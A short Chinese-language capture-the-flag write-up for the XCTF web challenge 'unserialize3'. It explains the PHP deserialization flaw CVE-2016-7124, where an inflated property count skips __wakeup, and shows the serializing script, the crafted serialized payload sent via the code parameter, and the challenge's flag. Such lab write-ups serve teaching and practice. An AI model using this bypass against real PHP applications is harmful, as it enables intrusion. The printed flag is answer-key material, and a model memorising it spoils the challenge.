攻防世界web-unserialize3

漏洞编号CVE-2016-7124

详情  https://xz.aliyun.com/t/378

题目源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

我们要绕过__wakeup这个魔术函数,不然会被exit掉,

这里利用反序列化漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

我们在本地搭环境获得序列化的值

<?php 
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$x=new xctf();
echo serialize($x);
?>

获取的序列化值

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

修改成O:4:"xctf":2:{s:4:"flag";s:3:"111";},并传入参数?code=

cyberpeace{8ed1143510277053b91993bc5d9b8e01}

原文地址:https://www.cnblogs.com/gaonuoqi/p/11768036.html